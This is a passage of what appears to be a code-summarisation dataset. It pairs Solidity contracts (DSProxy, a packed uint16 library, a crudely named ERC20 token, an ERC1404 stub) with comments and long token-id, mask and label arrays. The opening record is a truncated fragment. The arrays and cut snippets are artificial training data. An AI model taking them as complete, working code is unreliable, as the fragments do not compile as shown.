oracle.getUnderlyingPrice(pToken)}); Exp memory interestPerBlock = mul_(Exp({mantissa: IPToken(pToken).borrowRatePerBlock()}), IPToken(pToken).totalBorrows()); for (uint i = 0; i < allMarkets_.length; i++) { address pToken = allMarkets[i]; uint newSpeed = totalUtility.mantissa > 0 ? mul_(pieRate, div_(utilities[i], totalUtility)) : 0; pieSpeeds[pToken] = newSpeed; emit PieSpeedUpdated(pToken, newSpeed); } }
8,620,163
[ 1, 426, 11162, 471, 1089, 7024, 41, 8632, 87, 364, 777, 7024, 41, 2267, 2413, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4460, 52, 1385, 16562, 87, 3061, 1435, 2713, 288, 203, 3639, 1758, 8526, 3778, 777, 3882, 2413, 67, 273, 777, 3882, 2413, 31, 203, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 777, 3882, 2413, 27799, 2469, 31, 277, 27245, 288, 203, 5411, 1758, 293, 1345, 273, 777, 3882, 2413, 67, 63, 77, 15533, 203, 5411, 1089, 52, 1385, 3088, 1283, 1016, 12, 84, 1345, 1769, 203, 5411, 1089, 52, 1385, 38, 15318, 1016, 12, 84, 1345, 16, 29759, 1016, 1769, 203, 3639, 289, 203, 203, 3639, 7784, 8526, 3778, 22538, 273, 394, 7784, 8526, 12, 454, 3882, 2413, 27799, 2469, 1769, 203, 5411, 7784, 3778, 29759, 1016, 273, 7784, 12590, 81, 970, 21269, 30, 2971, 1345, 12, 84, 1345, 2934, 70, 15318, 1016, 17767, 1769, 203, 3639, 7784, 3778, 2078, 6497, 273, 7784, 12590, 81, 970, 21269, 30, 374, 22938, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 777, 3882, 2413, 27799, 2469, 31, 277, 27245, 288, 203, 5411, 1758, 293, 1345, 273, 777, 3882, 2413, 67, 63, 77, 15533, 203, 5411, 309, 261, 3355, 2413, 63, 84, 1345, 8009, 291, 52, 2092, 13, 288, 203, 7734, 20865, 18, 2725, 14655, 6291, 5147, 12, 84, 1345, 1769, 203, 7734, 7784, 3778, 12788, 273, 14064, 67, 12, 2761, 395, 2173, 1768, 16, 3310, 5147, 1769, 203, 7734, 22538, 63, 77, 65, 273, 12788, 31, 203, 7734, 2078, 6497, 273, 527, 67, 12, 4963, 6497, 16, 12788, 1769, 203, 5411, 289, 203, 3639, 289, 203, 203, 3639, 2 ]
// This file was originally take from from Maker: DS Proxy Factory and modified. The original source code can be found // here: https://etherscan.io/address/0xa26e15c895efc0616177b7c1e7270a4c7d51c997#code // Changes are limited to updating the Solidity version and some stylistic modifications. /** *Submitted for verification at Etherscan.io on 2018-06-22 */ // proxy.sol - execute actions atomically through the proxy's identity // Copyright (C) 2017 DappHub, LLC // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.6.0; abstract contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view virtual returns (bool); } contract DSAuthEvents { event LogSetAuthority(address indexed authority); event LogSetOwner(address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(address(authority)); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, address(this), sig); } } } contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } emit LogNote(msg.sig, msg.sender, foo, bar, msg.data); _; } } // DSProxy // Allows code execution using a persistant identity This can be very // useful to execute a sequence of atomic actions. Since the owner of // the proxy can be changed, this allows for dynamic ownership models // i.e. a multisig contract DSProxy is DSAuth, DSNote { DSProxyCache public cache; // global cache for contracts constructor(address _cacheAddr) public { require(setCache(_cacheAddr)); } fallback() external payable {} // use the proxy to execute calldata _data on contract _code function execute(bytes memory _code, bytes memory _data) public payable returns (address target, bytes32 response) { target = cache.read(_code); if (target == address(0x0)) { // deploy contract & store its address in cache target = cache.write(_code); } response = execute(target, _data); } function execute(address _target, bytes memory _data) public payable auth note returns (bytes32 response) { require(_target != address(0x0), "Target cant be 0x address"); // call contract in current context assembly { let succeeded := delegatecall(sub(gas(), 5000), _target, add(_data, 0x20), mload(_data), 0, 32) response := mload(0) // load delegatecall output switch iszero(succeeded) case 1 { // throw if delegatecall failed revert(0, 0) } } } //set new cache function setCache(address _cacheAddr) public payable auth note returns (bool) { require(_cacheAddr != address(0x0)); // invalid cache address cache = DSProxyCache(_cacheAddr); // overwrite cache return true; } } // DSProxyFactory // This factory deploys new proxy instances through build() // Deployed proxy addresses are logged contract DSProxyFactory { event Created(address indexed sender, address indexed owner, address proxy, address cache); mapping(address => bool) public isProxy; DSProxyCache public cache = new DSProxyCache(); // deploys a new proxy instance // sets owner of proxy to caller function build() public returns (DSProxy proxy) { proxy = build(msg.sender); } // deploys a new proxy instance // sets custom owner of proxy function build(address owner) public returns (DSProxy proxy) { proxy = new DSProxy(address(cache)); emit Created(msg.sender, owner, address(proxy), address(cache)); proxy.setOwner(owner); isProxy[address(proxy)] = true; } } // DSProxyCache // This global cache stores addresses of contracts previously deployed // by a proxy. This saves gas from repeat deployment of the same // contracts and eliminates blockchain bloat. // By default, all proxies deployed from the same factory store // contracts in the same cache. The cache a proxy instance uses can be // changed. The cache uses the sha3 hash of a contract's bytecode to // lookup the address contract DSProxyCache { mapping(bytes32 => address) cache; function read(bytes memory _code) public view returns (address) { bytes32 hash = keccak256(_code); return cache[hash]; } function write(bytes memory _code) public returns (address target) { assembly { target := create(0, add(_code, 0x20), mload(_code)) switch iszero(extcodesize(target)) case 1 { // throw if contract failed to deploy revert(0, 0) } } bytes32 hash = keccak256(_code); cache[hash] = target; } }
use the proxy to execute calldata _data on contract _code deploy contract & store its address in cache
function execute(bytes memory _code, bytes memory _data) public payable returns (address target, bytes32 response) { target = cache.read(_code); if (target == address(0x0)) { target = cache.write(_code); } response = execute(target, _data); }
93,515
[ 1, 1202, 326, 2889, 358, 1836, 745, 892, 389, 892, 603, 6835, 389, 710, 7286, 6835, 473, 1707, 2097, 1758, 316, 1247, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1836, 12, 3890, 3778, 389, 710, 16, 1731, 3778, 389, 892, 13, 1071, 8843, 429, 1135, 261, 2867, 1018, 16, 1731, 1578, 766, 13, 288, 203, 3639, 1018, 273, 1247, 18, 896, 24899, 710, 1769, 203, 3639, 309, 261, 3299, 422, 1758, 12, 20, 92, 20, 3719, 288, 203, 5411, 1018, 273, 1247, 18, 2626, 24899, 710, 1769, 203, 3639, 289, 203, 203, 3639, 766, 273, 1836, 12, 3299, 16, 389, 892, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; /// @title PackedUint16Array /// @author alsco77 library PackedUint16Array { using PackedUint16Array for PackedUint16Array.PackedArray; struct PackedArray { uint256[] array; uint256 length; } // Verifies that the higher level count is correct, and that the last uint256 is left packed with 0's function initStruct(uint256[] memory _arr, uint256 _len) internal pure returns (PackedArray memory) { uint256 actualLength = _arr.length; uint256 len0 = _len / 16; require(actualLength == len0 + 1, "Invalid arr length"); uint256 len1 = _len % 16; uint256 leftPacked = uint256(_arr[len0] >> (len1 * 16)); require(leftPacked == 0, "Invalid uint256 packing"); return PackedArray(_arr, _len); } function getValue(PackedArray storage ref, uint256 _index) internal view returns (uint16) { require(_index < ref.length, "Invalid index"); uint256 aid = _index / 16; uint256 iid = _index % 16; return uint16(ref.array[aid] >> (iid * 16)); } function setValue( PackedArray storage ref, uint256 _index, uint16 _value ) internal { uint256 aid = _index / 16; uint256 iid = _index % 16; // 1. Do an && between old value and a mask uint256 mask = uint256(~(uint256(65535) << (iid * 16))); uint256 masked = ref.array[aid] & mask; // 2. Do an |= between (1) and positioned _value mask = uint256(_value) << (iid * 16); ref.array[aid] = masked | mask; } function extractIndex(PackedArray storage ref, uint256 _index) internal { // Get value at the end uint16 endValue = ref.getValue(ref.length - 1); ref.setValue(_index, endValue); ref.setValue(ref.length - 1, 0); ref.length--; } }
@title PackedUint16Array @author alsco77
library PackedUint16Array { using PackedUint16Array for PackedUint16Array.PackedArray; struct PackedArray { uint256[] array; uint256 length; } function initStruct(uint256[] memory _arr, uint256 _len) internal pure returns (PackedArray memory) { uint256 actualLength = _arr.length; uint256 len0 = _len / 16; require(actualLength == len0 + 1, "Invalid arr length"); uint256 len1 = _len % 16; uint256 leftPacked = uint256(_arr[len0] >> (len1 * 16)); require(leftPacked == 0, "Invalid uint256 packing"); return PackedArray(_arr, _len); } function getValue(PackedArray storage ref, uint256 _index) internal view returns (uint16) { require(_index < ref.length, "Invalid index"); uint256 aid = _index / 16; uint256 iid = _index % 16; return uint16(ref.array[aid] >> (iid * 16)); } function setValue( PackedArray storage ref, uint256 _index, uint16 _value ) internal { uint256 aid = _index / 16; uint256 iid = _index % 16; uint256 mask = uint256(~(uint256(65535) << (iid * 16))); uint256 masked = ref.array[aid] & mask; mask = uint256(_value) << (iid * 16); ref.array[aid] = masked | mask; } function extractIndex(PackedArray storage ref, uint256 _index) internal { uint16 endValue = ref.getValue(ref.length - 1); ref.setValue(_index, endValue); ref.setValue(ref.length - 1, 0); ref.length--; } }
5,439,581
[ 1, 4420, 329, 5487, 2313, 1076, 225, 524, 1017, 83, 4700, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 7930, 329, 5487, 2313, 1076, 288, 203, 565, 1450, 7930, 329, 5487, 2313, 1076, 364, 7930, 329, 5487, 2313, 1076, 18, 4420, 329, 1076, 31, 203, 203, 203, 565, 1958, 7930, 329, 1076, 288, 203, 3639, 2254, 5034, 8526, 526, 31, 203, 3639, 2254, 5034, 769, 31, 203, 565, 289, 203, 203, 565, 445, 1208, 3823, 12, 11890, 5034, 8526, 3778, 389, 5399, 16, 2254, 5034, 389, 1897, 13, 203, 3639, 2713, 203, 3639, 16618, 203, 3639, 1135, 261, 4420, 329, 1076, 3778, 13, 203, 565, 288, 203, 3639, 2254, 5034, 3214, 1782, 273, 389, 5399, 18, 2469, 31, 203, 3639, 2254, 5034, 562, 20, 273, 389, 1897, 342, 2872, 31, 203, 3639, 2583, 12, 18672, 1782, 422, 562, 20, 397, 404, 16, 315, 1941, 2454, 769, 8863, 203, 203, 3639, 2254, 5034, 562, 21, 273, 389, 1897, 738, 2872, 31, 203, 3639, 2254, 5034, 2002, 4420, 329, 273, 2254, 5034, 24899, 5399, 63, 1897, 20, 65, 1671, 261, 1897, 21, 380, 2872, 10019, 203, 3639, 2583, 12, 4482, 4420, 329, 422, 374, 16, 315, 1941, 2254, 5034, 2298, 310, 8863, 203, 203, 3639, 327, 7930, 329, 1076, 24899, 5399, 16, 389, 1897, 1769, 203, 565, 289, 203, 203, 565, 445, 2366, 12, 4420, 329, 1076, 2502, 1278, 16, 2254, 5034, 389, 1615, 13, 2713, 1476, 1135, 261, 11890, 2313, 13, 288, 203, 3639, 2583, 24899, 1615, 411, 1278, 18, 2469, 16, 315, 1941, 770, 8863, 203, 3639, 2254, 5034, 20702, 273, 389, 1615, 342, 2872, 31, 203, 3639, 2254, 5034, 22819, 273, 2 ]
/** *Submitted for verification at Etherscan.io on 2021-05-06 */ pragma solidity 0.6.6; // ---------------------------------------------------------------------------- // 'CU Next Tuesday' token contract // // Deployed to : 0x82c4707DA8D867D6eEb2A4042FF9C21dDD41ec34 // Symbol : CUNTS // Name : CUNTToken // Total supply: 100000000 // Decimals : 18 // // Enjoy. // // -BrickTop // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- abstract contract ERC20Interface { function totalSupply() virtual public view returns (uint); function balanceOf(address tokenOwner) virtual public view returns (uint balance); function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining); function transfer(address to, uint tokens) virtual public returns (bool success); function approve(address spender, uint tokens) virtual public returns (bool success); function transferFrom(address from, address to, uint tokens) virtual public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- abstract contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) virtual public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract CUNTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "CUNTS"; name = "CUNTToken"; decimals = 0; _totalSupply = 100000000; balances[0x82c4707DA8D867D6eEb2A4042FF9C21dDD41ec34] = _totalSupply; emit Transfer(address(0), 0x82c4707DA8D867D6eEb2A4042FF9C21dDD41ec34, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public override view returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public override view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public override returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public override returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public override returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public override view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ // function () external payable { // revert(); // } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
---------------------------------------------------------------------------- ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers ---------------------------------------------------------------------------- ------------------------------------------------------------------------ Constructor ------------------------------------------------------------------------
contract CUNTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "CUNTS"; name = "CUNTToken"; decimals = 0; _totalSupply = 100000000; balances[0x82c4707DA8D867D6eEb2A4042FF9C21dDD41ec34] = _totalSupply; emit Transfer(address(0), 0x82c4707DA8D867D6eEb2A4042FF9C21dDD41ec34, _totalSupply); } function totalSupply() public override view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public override view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public override returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public override returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public override returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public override view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
2,073,005
[ 1, 5802, 7620, 4232, 39, 3462, 3155, 16, 598, 326, 2719, 434, 3273, 16, 508, 471, 15105, 471, 1551, 25444, 1147, 29375, 8879, 13849, 8879, 17082, 11417, 8879, 17082, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 385, 5321, 1345, 353, 4232, 39, 3462, 1358, 16, 14223, 11748, 16, 14060, 10477, 288, 203, 565, 533, 1071, 3273, 31, 203, 565, 533, 1071, 225, 508, 31, 203, 565, 2254, 28, 1071, 15105, 31, 203, 565, 2254, 1071, 389, 4963, 3088, 1283, 31, 203, 203, 565, 2874, 12, 2867, 516, 2254, 13, 324, 26488, 31, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 2254, 3719, 2935, 31, 203, 203, 203, 565, 3885, 1435, 1071, 288, 203, 3639, 3273, 273, 315, 39, 5321, 55, 14432, 203, 3639, 508, 273, 315, 39, 5321, 1345, 14432, 203, 3639, 15105, 273, 374, 31, 203, 3639, 389, 4963, 3088, 1283, 273, 2130, 9449, 31, 203, 3639, 324, 26488, 63, 20, 92, 11149, 71, 24, 7301, 27, 9793, 28, 40, 5292, 27, 40, 26, 73, 41, 70, 22, 37, 11746, 22, 2246, 29, 39, 5340, 72, 5698, 9803, 557, 5026, 65, 273, 389, 4963, 3088, 1283, 31, 203, 3639, 3626, 12279, 12, 2867, 12, 20, 3631, 374, 92, 11149, 71, 24, 7301, 27, 9793, 28, 40, 5292, 27, 40, 26, 73, 41, 70, 22, 37, 11746, 22, 2246, 29, 39, 5340, 72, 5698, 9803, 557, 5026, 16, 389, 4963, 3088, 1283, 1769, 203, 565, 289, 203, 203, 203, 565, 445, 2078, 3088, 1283, 1435, 1071, 3849, 1476, 1135, 261, 11890, 13, 288, 203, 3639, 327, 389, 4963, 3088, 1283, 300, 324, 26488, 63, 2867, 12, 20, 13, 15533, 203, 565, 289, 203, 203, 203, 565, 445, 11013, 951, 12, 2867, 1147, 5541, 13, 1071, 3849, 1476, 2 ]
// SPDX-License-Identifier: MIT pragma solidity 0.7.0; /** * @title interface of ERC 20 token * */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title IERC1404 - Simple Restricted Token Standard * @dev https://github.com/ethereum/eips/issues/1404 */ interface IERC1404 { // Implementation of all the restriction of transfer and returns error code function detectTransferRestriction (address from, address to, uint256 value) external view returns (uint8); // Returns error message off error code function messageForTransferRestriction (uint8 restrictionCode) external view returns (string memory); } /** * @title Implementation of the {IERC20} interface. * */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string public name; string public symbol; uint8 public immutable decimals; uint256 public override totalSupply; constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply){ name = _name; symbol = _symbol; decimals = _decimals; _mint(msg.sender, _totalSupply); } /** * @dev See 